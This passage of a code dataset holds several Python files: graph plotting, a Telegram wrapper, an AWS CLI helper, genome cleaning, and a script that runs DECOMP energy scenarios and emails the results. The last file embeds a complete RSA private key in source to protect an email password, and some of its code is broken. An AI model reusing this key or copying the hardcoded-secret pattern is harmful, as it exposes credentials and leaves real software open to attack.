"call"}, {"api_name": "flask_rest_api.utils.get_appcontext", "line_number": 366, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 341, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 341, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 373, "usage_type": "name"}, {"api_name": "flask_rest_api.Blueprint.ETAG_INCLUDE_HEADERS", "line_number": 374, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 374, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 379, "usage_type": "call"}, {"api_name": "flask_rest_api.utils.get_appcontext", "line_number": 381, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 386, "usage_type": "call"}, {"api_name": "flask_rest_api.utils.get_appcontext", "line_number": 389, "usage_type": "call"}, {"api_name": "flask_rest_api.Api", "line_number": 396, "usage_type": "call"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 397, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 407, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 435, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 464, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 472, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 483, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 534, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 555, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 564, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 573, "usage_type": "call"}]} {"seq_id": "160526045", "text": "\"\"\"\nWeek 2: Assignment - Question 1\n\nLoads citation data and maps it as a graph(physics citation graph).\nPlots the log/log distribution of the normalized distribution of the graph.\n\nDesktop Python version.\nWindows cmd call: py - 3.8\n\nOnline version: http://www.codeskulptor.org/#user47_EfijJINTuy_16.py\n\n\"\"\"\n#!/bin/python3\n\n# import math\nimport urllib.request\nimport matplotlib.pyplot as plt\nimport module1_graph as module_1\n\n\n# Citation url\nCITATION_URL = \"http://storage.googleapis.com/codeskulptor-alg/alg_phys-cite.txt\"\n\n\ndef load_graph(graph_url):\n \"\"\" Function that loads a graph given the URL for a text representation of the graph.\n Returns a dictionary that models a graph.\n \"\"\"\n graph_lines = []\n # Open and process the url\n with urllib.request.urlopen(graph_url) as response:\n graph_text = response.read().decode()\n graph_lines = graph_text.split('\\n')\n graph_lines = graph_lines[:-1]\n\n # Create the graph.\n answer_graph = {}\n for line in graph_lines:\n neighbors = line.split(\" \")\n node = int(neighbors[0])\n answer_graph[node] = set([])\n for neighbor in neighbors[1:-1]:\n answer_graph[node].add(int(neighbor))\n return answer_graph\n\n\ndef normalize_distribution(graph, nodes):\n \"\"\" Function that computes the normalized distribution of a graph given a\n graph of in-degrees distribution.\n \"\"\"\n result_graph = {}\n for key, value in graph.items():\n result_graph[key] = value / nodes\n return result_graph\n\n\ndef get_xy_values(graph_dict):\n \"\"\" Function that computes the x and y values to be plotted.\n \"\"\"\n plot_x, plot_y = [], []\n for degree, value in graph_dict.items():\n if degree != 0:\n plot_x.append(degree)\n plot_y.append(value)\n return plot_x, plot_y\n\n\ndef draw_plot(plot_details, plot_type=\"log\", point_color=\"#8116de\", x_limit=\"\", y_limit=\"\"):\n \"\"\" Draws the plot figure given the x and y values, and the x and y\n axis labels and the plot title.\n \"\"\"\n plt.figure(figsize=[7.4, 5.8], facecolor=\"#e8e8e8\")\n plt.figtext(0.2, 0.945, s=plot_details[\"title\"], fontsize='large')\n plt.figtext(0.4, 0.9, s=plot_details[\"subtitle\"], fontsize='large')\n plt.xscale(plot_type)\n plt.yscale(plot_type)\n if x_limit != \"\":\n plt.xlim(x_limit[0], x_limit[1])\n if y_limit != \"\":\n plt.ylim(y_limit[0], y_limit[1])\n plt.xlabel(plot_details[\"label_x\"], fontsize=\"medium\")\n plt.ylabel(plot_details[\"label_y\"], fontsize=\"medium\")\n plt.scatter(plot_details[\"x\"], plot_details[\"y\"], c=point_color)\n plt.savefig(plot_details[\"plot_name\"] + \".png\")\n plt.close()\n\n\n\nif __name__ == \"__main__\":\n # Loads and creates the citation graph.\n citation_graph = load_graph(CITATION_URL)\n\n # Compute the unnormalized_distribution\n unnormalized_distr = module_1.in_degree_distribution(citation_graph)\n\n # Compute the normalized distribution - values normalized to sum of 1.\n num_nodes = len(citation_graph)\n normalized_distr = normalize_distribution(unnormalized_distr, num_nodes)\n\n # Compute the values and then plot the log/log of the normalized distribution.\n VALUES = sorted(normalized_distr.items())\n X, Y = zip(*VALUES)\n\n # Draw the plot.\n PLOT_NAME = \"Physics_Citation_Graph_Distribution\"\n TITLE = \"Normalized Distribution of a Physics Citation graph\"\n SUBTITLE = \"Nodes=\" + str(num_nodes)\n LABEL_Y = \"In-degrees Distribution (log)\"\n LABEL_X = \"Degrees (log)\"\n PLOT_INFO = {\n \"plot_name\": PLOT_NAME,\n \"title\" : TITLE,\n \"subtitle\" : SUBTITLE,\n \"label_x\" : LABEL_X,\n \"label_y\" : LABEL_Y,\n \"x\" : X,\n \"y\" : Y\n }\n draw_plot(PLOT_INFO, \"log\", \"#d92b54\", (1e0, 1e4), (1e-5, 1e0))\n # draw_plot(X, Y, LABEL_X, LABEL_Y, PLOT_NAME, TITLE, SUBTITLE, \"log\", \"#d92b54\",\n # (1e0, 1e4), (1e-5, 1e0))\n", "sub_path": "question1_answer.py", "file_name": "question1_answer.py", "file_ext": "py", "file_size_in_byte": 3902, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 31, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 31, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figtext", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figtext", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "module1_graph.in_degree_distribution", "line_number": 94, "usage_type": "call"}]} {"seq_id": "305955613", "text": "# -*- coding: utf-8 -*-\n\nimport telegram\nimport info\n\n\nclass Telegram:\n\n __bot = None\n user_id = info.Telegram.user_id\n\n @staticmethod\n def init():\n my_token = info.Telegram.token\n Telegram.__bot = telegram.Bot(token=my_token)\n\n @staticmethod\n def print_update():\n updates = Telegram.__bot.getUpdates()\n\n for u in updates:\n print(u.message)\n\n @staticmethod\n def send_message(text):\n Telegram.__bot.sendMessage(chat_id=Telegram.user_id,\n text=text)\n\nif __name__ == '__main__':\n\n Telegram.init()\n Telegram.send_message('???')\n", "sub_path": "stock_etl/TelegramWrapper.py", "file_name": "TelegramWrapper.py", "file_ext": "py", "file_size_in_byte": 634, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "info.Telegram", "line_number": 10, "usage_type": "attribute"}, {"api_name": "info.Telegram", "line_number": 14, "usage_type": "attribute"}, {"api_name": "telegram.Bot", "line_number": 15, "usage_type": "call"}]} {"seq_id": "397211896", "text": "#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_one_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/autoscaling/create-or-update-tags.html\nif __name__ == '__main__':\n \"\"\"\n\n \"\"\"\n\n parameter_display_string = \"\"\"\n # tags : One or more tags.\n(structure)\n\nDescribes a tag for an Auto Scaling group.\nResourceId -> (string)\n\nThe name of the group.\n\nResourceType -> (string)\n\nThe type of resource. The only supported value is auto-scaling-group .\n\nKey -> (string)\n\nThe tag key.\n\nValue -> (string)\n\nThe tag value.\n\nPropagateAtLaunch -> (boolean)\n\nDetermines whether the tag is added to new instances as they are launched in the group.\n \"\"\"\n add_option_dict = {}\n\n #######################################################################\n # parameter display string\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_one_parameter(\"autoscaling\", \"create-or-update-tags\", \"tags\", add_option_dict)\n\n\n\n\n\n", "sub_path": "autoscaling_write_1/or-update-tag_create.py", "file_name": "or-update-tag_create.py", "file_ext": "py", "file_size_in_byte": 1196, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "common.execute_command.write_one_parameter", "line_number": 45, "usage_type": "call"}]} {"seq_id": "155982831", "text": "#!/usr/bin/python3\n\n'''\nDate: 17/Nov/2021\nAuthor name: Luis Felipe Cedeño Pérez (pipecedeno@gmail.com)\nversion: 1.0\n\nProgram Description:\nThis program is used to delete non A,T,C,G or N letters from the genome were the kmers are going to be aligned,\nthis is important because razers marks an error is any other letter is found in the sequence. The non ATCGN \nletters are passed to N, and a new file is created with the modified genome so the original file isn't modified.\n\nInputs:\n-f genome file to be processed\n-o name of the output file (the processed genome) \n'''\n\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"\")\nparser.add_argument(\"-f\", \"--file\",dest=\"file\",required=True) #genome file\nparser.add_argument(\"-o\", \"--output\", dest=\"output\", required=True) #output file\nargs = parser.parse_args()\n\ngenome=open(args.file,\"r\")\nresp=open(args.output,\"w\")\n\nfor line in genome:\n\tif(\">\" in line):\n\t\tresp.write(line)\n\telse:\n\t\tfor base in list(line.rstrip(\"\\n\")):\n\t\t\tif((set(base) <= set('ATCG'))):\n\t\t\t\tresp.write(base)\n\t\t\telse:\n\t\t\t\tresp.write(\"N\")\n\t\tresp.write(\"\\n\")\ngenome.close()\nresp.close()\n\n", "sub_path": "bin/delete_non_atcg_bases.py", "file_name": "delete_non_atcg_bases.py", "file_ext": "py", "file_size_in_byte": 1111, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 20, "usage_type": "call"}]} {"seq_id": "438331658", "text": "#!/usr/bin/env python\n# *- coding: utf-8 -*-\nglobal private_key\nprivate_key = '''-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQC7njVlhaVw3Es+ujIWFzmCuN4vcu+MycIZkGlIldqXpk/SXwK4\nsSi2n6vYBWvfXLrnp3m2JGFI4LyE3c84tkhayEntdfFX0HcCjVZ9ROf9R8EtMDwP\nB8AfbKTqmejP4qhinGGoC4UnnCZY5wGIzmAoHE4gIEXwSNZ2sKuhXp4gnQIDAQAB\nAoGASkWfLclybPNIdlSPb19STQWSL4Z4fmuAg04/35QzLMWR493o3eSEEYe0J5g9\n0/aJpxsNe6V7PbZ56r9EQVcn3NrUgcTxFQJiWBLsfn1fneNRwI8VlF7uCb+xLIum\n5amuTq7tXbloi0y/JsuU2T1JOWaKrvKK5vjo6PCxEFhgjwECQQDYNXiNCipVPWVV\ngu5IxwZoyqwbEPE3dj5MvmC7j66ccyPSh4WeE+zMzhHV46FSdlaGv0Z2sCZHUgoV\nN1u0qHR1AkEA3iWy8RWnVFB7dYMGy9YtOyrhsjJseLif3T85dfTdORCdJe8qVWIG\n5QdoqwMs2b9w9wH37G2sSYLTw9nvhubWiQJAZPvEjIuc7ic491GqHg/nbHaNIC8v\nmyn9OzcIU1Juyd/1cVWfERBZX+c36WDibnObQmCAdtsbZeBpmTM8AAtWKQJBAIxe\nX+KMXy4cqNZJE8tLK0t+vhw+VmI1rvY7VBCfyAWd5N6qcCKBjX+8nbuphvaUTEoY\nGVNwvXO50huoIv0n8ZkCQQDOmPKAasRavV9iuj3ekQhH6iwHbMa46sYF5aoAGQ/m\nhCL6y79BelOBAnBHt/oUvp4dqjwr8J2wGGi1DBvUWlGu\n-----END RSA PRIVATE KEY-----'''\n\nclass Criptografia:\n def __init__(self, paths, nomes):\n self.paths = paths\n self.nomes = nomes\n return\n\n def gerar_chave_publica(self):\n self.public_key = RSA.importKey(private_key).publickey().exportKey()\n pub_key_file = open(os.path.join(self.paths['export'], self.nomes['public_key']), 'w')\n try:\n pub_key_file.write(str(self.public_key))\n print('\\nchave publica {} exportada para {}\\n'.format(self.nomes['public_key'],\n self.paths['export']\n )\n )\n pub_key_file.close()\n except:\n print('\\nNao foi possivel exportar a chave publica {} para {}\\n'.format(self.nomes['public_key'],\n self.paths['export']\n )\n )\n return self\n\n\n def gerar_senha(self):\n pub_key = open(os.path.join(self.paths['export'], self.nomes['public_key']), 'r').read()\n senha = getpass.getpass(prompt='\\nDigite a senha do email a ser criptograda: ')\n senha2 = getpass.getpass(prompt='\\nConfirme a senha: ')\n\n if senha == senha2:\n priv_key = RSA.importKey(private_key)\n encrypt_senha = priv_key.encrypt(senha, 42)\n senha_file = open(os.path.join(self.paths['export'], self.nomes['senha_email']), 'w')\n senha_file.write(str(encrypt_senha))\n senha_file.close()\n\n\n else:\n print('Voce digitou senhas diferentes. Execute novamente.')\n return\n\n\nclass Gerenciador:\n def __init__(self, paths, nomes, config_servidor):\n self.paths = paths\n self.nomes = nomes\n self.config_servidor = config_servidor\n self.resultados = pd.DataFrame()\n return\n\n\n def listar_casos(self):\n self.aux = map(int, os.listdir(self.paths['decks_gevazp']))\n self.lista = []\n for i in self.aux:\n self.lista.append({'cenario': i,\n 'caminho': os.path.join(self.paths['decks_gevazp'], str(i))\n })\n self.lista = pd.DataFrame.from_dict(self.lista)\n return self\n\n\n def executar_decomp(self):\n # itera sobre todos os cenarios\n for i in self.lista.iterrows():\n # Copiar arquivos decomp_base para pasta\n for j in glob.glob(os.path.join(self.paths['decomp_base'], '*')):\n shutil.copy(src=j, dst=i[1].caminho)\n\n # Copia licenca\n #shutil.copy(src=os.path.join(self.config_servidor['path_lic'], self.config_servidor['lic_decomp']),\n # dst=i[1].caminho)\n\n # Entra na pasta e executa decomp\n print('Preparacao para executar {}'.format(i[1].caminho))\n os.chdir(i[1].caminho)\n #FNULL = open(os.devnull, 'w')\n print('Execucao do decomp para {}'.format(i[1].caminho))\n stdout = open(os.path.join(i[1].caminho, 'stdout.txt'), 'w') # arquivo para saida\n stderr = open(os.path.join(i[1].caminho, 'stderr.txt'), 'w') # arquivo para saida de erros\n retcode = subprocess.call(['convertenomesdecomp_{}'.format(self.config_servidor['versao_decomp'])\n ],\n stdout=stdout,\n stderr=stderr,\n shell=True\n )\n retcode = subprocess.call(['mpiexec -n {} {}/decomp_{}'.format(self.config_servidor['n_proc'],\n self.config_servidor['path_exec'],\n self.config_servidor['versao_decomp']\n )\n ],\n stdout=stdout,\n stderr=stderr,\n shell=True\n )\n stdout.close()\n stderr.close()\n if retcode == 1:\n print('Erro ao executar cenario -> {}'.format(i[1].caminho))\n else:\n print('Execucao completa cenario -> {}'.format(i[1].caminho))\n # pega dados\n self.pegar_resultado(cenario=i[1].cenario)\n self.exportar_resultados()\n\n # remove todos os arquivos execeto relato.rv0 e prevs.rv0 e vazoes.rv0\n for j in os.listdir(i[1].caminho):\n if j not in ['relato.rv0', 'prevs.rv0', 'vazoes.rv0']:\n os.remove(os.path.join(i[1].caminho, j))\n\n s = \"\"\"---------------------------------------------------------------------------------------\\n\"\"\"\n print(s)\n return\n\n\n def pegar_resultado(self, cenario):\n print('Capturando resultados do cenario {}'.format(cenario))\n relato = open(os.path.join(self.paths['decks_gevazp'], str(cenario), 'relato.rv0'), 'r', encoding='ISO-8859-1').readlines()\n cont = 0\n flag_acoplamento = 0\n dados_ena = []\n dados_preco = []\n #self.resultados = pd.DataFrame()\n\n for i, linha in enumerate(relato):\n\n if linha.find('Acoplamento c/ Longo Prazo por Subsistema') != -1:\n flag_acoplamento = 1\n\n if flag_acoplamento == 1 and linha.strip().find('SUBSISTEMA:') != -1:\n dados_ena.append(\n {\n 'submercado': int(linha[15:20].strip()),\n 'cenario': cenario,\n 'ena': float(relato[i + 4][9:18].strip()),\n 'preco': 0.0\n }\n )\n\n if linha.find('Custo marginal de operacao do subsistema') != -1 and cont < 1:\n cont = 1\n for j in range(0, 4):\n dados_ena[j]['preco'] = float(relato[i + j][48:69].strip())\n\n self.resultados =pd.concat([self.resultados, pd.DataFrame(data=dados_ena, columns=['cenario', 'submercado', 'ena', 'preco'])]) \n return self\n\n\n def exportar_resultados(self):\n self.resultados.to_csv(os.path.join(self.paths['export'], 'resultados.csv'),\n sep=';', decimal=',')\n\n print('Resultado exportado para {}'.format(self.paths['export']))\n return\n\n\n def envia_email(self, config_email):\n priv_key = RSA.importKey(private_key)\n senha = open(os.path.join(self.paths['export'], self.nomes['senha_email']), 'r').read()\n decrypt_msg = priv_key.decrypt(ast.literal_eval(str(senha)))\n\n server = smtplib.SMTP(config_email['servidor'], config_email['porta'])\n server.starttls()\n server.login(config_email['user'], decrypt_msg)\n\n msg = MIMEMultipart()\n msg['Subject'] = 'Resultados GEVAZP'\n msg['From'] = config_email['from']\n msg['To'] = ', '.join(config_email['to'])\n body = \\\n '''Resultados GEVAZP\n Caminho: {}\n \n*obs: E-mail automatico. Em caso de bugs, entre em contato com administrador'''\n\n msg.attach(MIMEText(body.format(self.paths['decks_gevazp']), 'plain'))\n\n # anexo\n csv = MIMEText(file(os.path.join(self.paths['export'], 'resultados.csv')).read())\n csv.add_header('Content-Disposition', 'attachment', filename='resultados.csv')\n msg.attach(csv)\n server.sendmail(config_email['from'], config_email['to'], msg.as_string())\n server.quit()\n return\n\n\nclass Casos:\n def __init__(self, paths, nomes):\n self.paths = paths\n self.nomes = nomes\n return\n\n\n def ler_vazoes(self, sep, decimal, mes):\n df = pd.read_csv(filepath_or_buffer=os.path.join(self.paths['vazoes_gevazp'], self.nomes['vazoes']),\n sep=sep, decimal=decimal)\n df = df.rename(columns=lambda x: x.strip())\n df.set_index(keys=['CENA', 'POSTO'], inplace=True)\n df = pd.DataFrame(df.loc[:, [str(mes)]])\n self.dados = df\n return self\n\n\n def gerar_arquivos(self):\n print('qualquer coisa')\n\n return\n\n\n def gerar_ambiente(self):\n c = self.dados.index.levels[0].values\n for i in self.dados.index.levels[0].values:\n if os.path.isdir(r'{}/{}'.format(self.paths['decks_gevazp'], i)) == True:\n shutil.rmtree(r'{}/{}'.format(self.paths['decks_gevazp'], i))\n\n os.mkdir(r'{}/{}'.format(self.paths['decks_gevazp'], i))\n\n print('Ambiente de pastas criado em {}'.format(self.paths['decks_gevazp']))\n return self\n\n\n def gerar_prevs(self):\n s = '''{:>6d}{:>5d}{:>10d}{:>10d}{:>10d}{:>10d}{:>10d}{:>10d}\\n'''\n\n ordem = [1, 2, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 22, 23, 24, 25, 28, 31, 32, 33, 34, 47, 48, 49, 50,\n 51, 52, 57, 61, 62, 63, 71, 72, 73,\n 74, 76, 77, 78, 89, 92, 93, 94, 97, 98, 99, 101, 102, 103, 110, 111, 112, 113, 114, 115, 117, 120, 121,\n 122, 123, 125, 129, 130, 134, 141, 144, 145, 148, 149, 155, 156, 158, 161, 168, 169, 172, 173, 175,\n 178, 183,\n 188, 190, 191, 196, 197, 198, 201, 202, 203, 204, 205, 206, 207, 209, 211, 215, 216, 217, 220, 222,\n 229, 237, 238, 239, 240,\n 241, 242, 244, 245, 246, 247, 248, 249, 251, 253, 254, 255, 257, 259, 261, 262, 263, 266, 269, 270,\n 271, 273, 275,\n 277, 278, 279, 280, 281, 283, 284, 285, 288, 286, 287, 290, 291, 292, 294, 295, 296, 297, 301, 230]\n\n for i in self.dados.index.levels[0].values:\n k = 1\n file = open(r'{}/{}/{}'.format(self.paths['decks_gevazp'], i, 'prevs.rv0'), 'w')\n aux = pd.DataFrame(self.dados.loc[i, :, :])\n for j in ordem:\n vazao = abs(int(math.ceil(self.dados.loc[i, j, :][str(mes)].values[0])))\n file.write(s.format(k, j, vazao, vazao, vazao, vazao, vazao, vazao))\n k += 1\n\n # for j in aux.iterrows():\n # vazao =abs(int(j[1].values[0]))\n # file.write(s.format(k, j[0], vazao, vazao, vazao, vazao, vazao, vazao))\n # k += 1\n\n\n file.close()\n\n print('Arquivos prevs criados')\n return self\n\n\n def calcula_postos(self, mes):\n x = [237, 240, 242, 238, 239, 245, 244, 246, 129, 202, 130, 125, 201, 203, 117, 301, 266, 76, 288, 34]\n df_posto = pd.DataFrame(data=[], columns=['CENA', 'POSTO', str(mes)])\n\n for j in self.dados.index.levels[0].values:\n for i in x:\n if i == 237: # igual ao posto 37\n aux = pd.DataFrame(data=[(j, 237, self.dados.loc[j, 37][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n\n if i == 240: # igual 40\n aux = pd.DataFrame(data=[(j, 240, self.dados.loc[j, 40][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 242: # igual 42\n aux = pd.DataFrame(data=[(j, 242, self.dados.loc[j, 42][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 238: # igual 38\n aux = pd.DataFrame(data=[(j, 238, self.dados.loc[j, 38][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n\n if i == 239: # igual 39\n aux = pd.DataFrame(data=[(j, 239, self.dados.loc[j, 39][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n\n if i == 245: # igual 45\n aux = pd.DataFrame(data=[(j, 245, self.dados.loc[j, 45][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 244: # igual 44\n aux = pd.DataFrame(data=[(j, 244, self.dados.loc[j, 44][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 246: # igual 46\n aux = pd.DataFrame(data=[(j, 246, self.dados.loc[j, 46][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 129: # igual 130 = # igual 126\n aux = pd.DataFrame(data=[(j, 129, self.dados.loc[j, 126][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 202: # igual 130 = # igual 132\n aux = pd.DataFrame(data=[(j, 202, self.dados.loc[j, 132][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 130: # igual 299\n aux = pd.DataFrame(data=[(j, 130, self.dados.loc[j, 299][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 125: # igual 21\n aux = pd.DataFrame(data=[(j, 125, self.dados.loc[j, 21][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 201: # tocos igual a qualquer valor\n aux = pd.DataFrame(data=[(j, 201, 5.0)],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 203: # tocos igual a qualquer valor\n aux = pd.DataFrame(data=[(j, 203, 5.0)],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 117: # igual pedras 116 ou qualquer valor\n aux = pd.DataFrame(data=[(j, 117, 5.0)],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 301:\n aux = pd.DataFrame(data=[(j, 301, 5.0)],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 266: # igual 66\n aux = pd.DataFrame(data=[(j, 266, self.dados.loc[j, 66][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 76: # igual 75\n aux = pd.DataFrame(data=[(j, 76, self.dados.loc[j, 75][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 288: # igual 302\n aux = pd.DataFrame(data=[(j, 288, self.dados.loc[j, 302][str(mes)].values[0] + \\\n self.dados.loc[j, 292][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n pass\n\n if i == 34: # 44 - 42\n aux = pd.DataFrame(data=[(j, 34, self.dados.loc[j, 44][str(mes)].values[0] - \\\n self.dados.loc[j, 42][str(mes)].values[0])],\n columns=['CENA', 'POSTO', str(mes)])\n df_posto = pd.concat([df_posto, aux])\n\n df_posto.set_index(['CENA', 'POSTO'], inplace=True)\n self.dados = pd.concat([self.dados, df_posto])\n self.dados.sort_index(axis=0, level=[1], ascending=True, inplace=True)\n return self\n\n\nclass Desenho:\n def __init__(self, paths, nomes, dados, config_plot, mlt):\n self.paths = paths\n self.nomes = nomes\n self.dados = pd.DataFrame(dados)\n self.referencia = config_plot['sub_referencia']\n self.par_sub = config_plot['par_subs']\n self.retangulo = config_plot['retangulo']\n aux = []\n for i in range(config_plot['n_classes']):\n aux.append([config_plot['valor_inicial'] + i * config_plot['step'],\n config_plot['valor_inicial'] + (i + 1) * config_plot['step']\n ]\n )\n self.config_plot = pd.DataFrame(data=aux, columns=['inferior', 'superior'])\n self.mlt = mlt\n return\n\n\n def desenha_scatter(self, mes):\n subsistemas = ['SE', 'S', 'NE', 'N']\n fig = plt.figure(figsize=(13, 7))\n ax = fig.add_subplot(111)\n self.dados = pd.DataFrame(self.dados)\n colors = cm.jet(np.linspace(0, 0.9, self.config_plot.shape[0]))\n self.dados['ena'] = self.dados['ena'].apply(lambda x: float(x))\n self.config_plot['texto'] = self.config_plot.apply(lambda x: '{} >= pld < {}'.format(x['inferior'],\n x['superior']\n ), axis=1\n )\n\n for i in self.config_plot.iterrows():\n aux = pd.DataFrame(self.dados.loc[(self.dados['preco'] >= i[1].inferior) &\n (self.dados['preco'] < i[1].superior) &\n (self.dados['submercado'] == self.referencia)\n ]\n )\n\n aux = self.dados.loc[self.dados['cenario'].isin(aux['cenario'].values)]\n x = aux.loc[aux['submercado'] == self.par_sub[0], 'ena'].values / \\\n mlt.loc[mlt['mes'] == mes, str(self.par_sub[0])].values[0]\n\n y = aux.loc[aux['submercado'] == self.par_sub[1], 'ena'].values / \\\n mlt.loc[mlt['mes'] == mes, str(self.par_sub[1])].values[0]\n\n #ax.scatter(x=x,\n # y=y,\n # c=colors[i[0]]\n # )\n ax.scatter(x=x,\n y=y,\n c=colors[i[0]],\n alpha=1.0\n )\n # Legenda\n cenarios = self.dados.shape[0] / 4 + 1\n plt.legend(self.config_plot.texto, loc=2, title='Agrupamento de {} cenarios'.format(cenarios),\n fancybox=True\n )\n ax.get_legend().get_title().set_color(\"red\")\n\n # ajustando eixos\n plt.xlabel(s='{} [%MLT]'.format(subsistemas[self.par_sub[0] - 1]))\n plt.ylabel(s='{} [%MLT]'.format(subsistemas[self.par_sub[1] - 1]))\n plt.tick_params(axis='both', which='major', labelsize=7)\n\n #tick_x = ticker.ScalarFormatter(0.2)\n #ax.xaxis.set_major_locator(ticker.ScalarFormatter(0.2))\n #ax.yaxis.set_major_locator(ticker.ScalarFormatter(0.2))\n\n lim_x = [round(min(self.dados.loc[self.dados['submercado'] == self.referencia, 'ena']) / \\\n mlt.loc[mlt['mes'] == mes, str(self.par_sub[0])].values[0], 1),\n\n math.ceil(max(self.dados.loc[self.dados['submercado'] == self.referencia, 'ena']) / \\\n mlt.loc[mlt['mes'] == mes, str(self.par_sub[0])].values[0])\n ]\n\n lim_y = 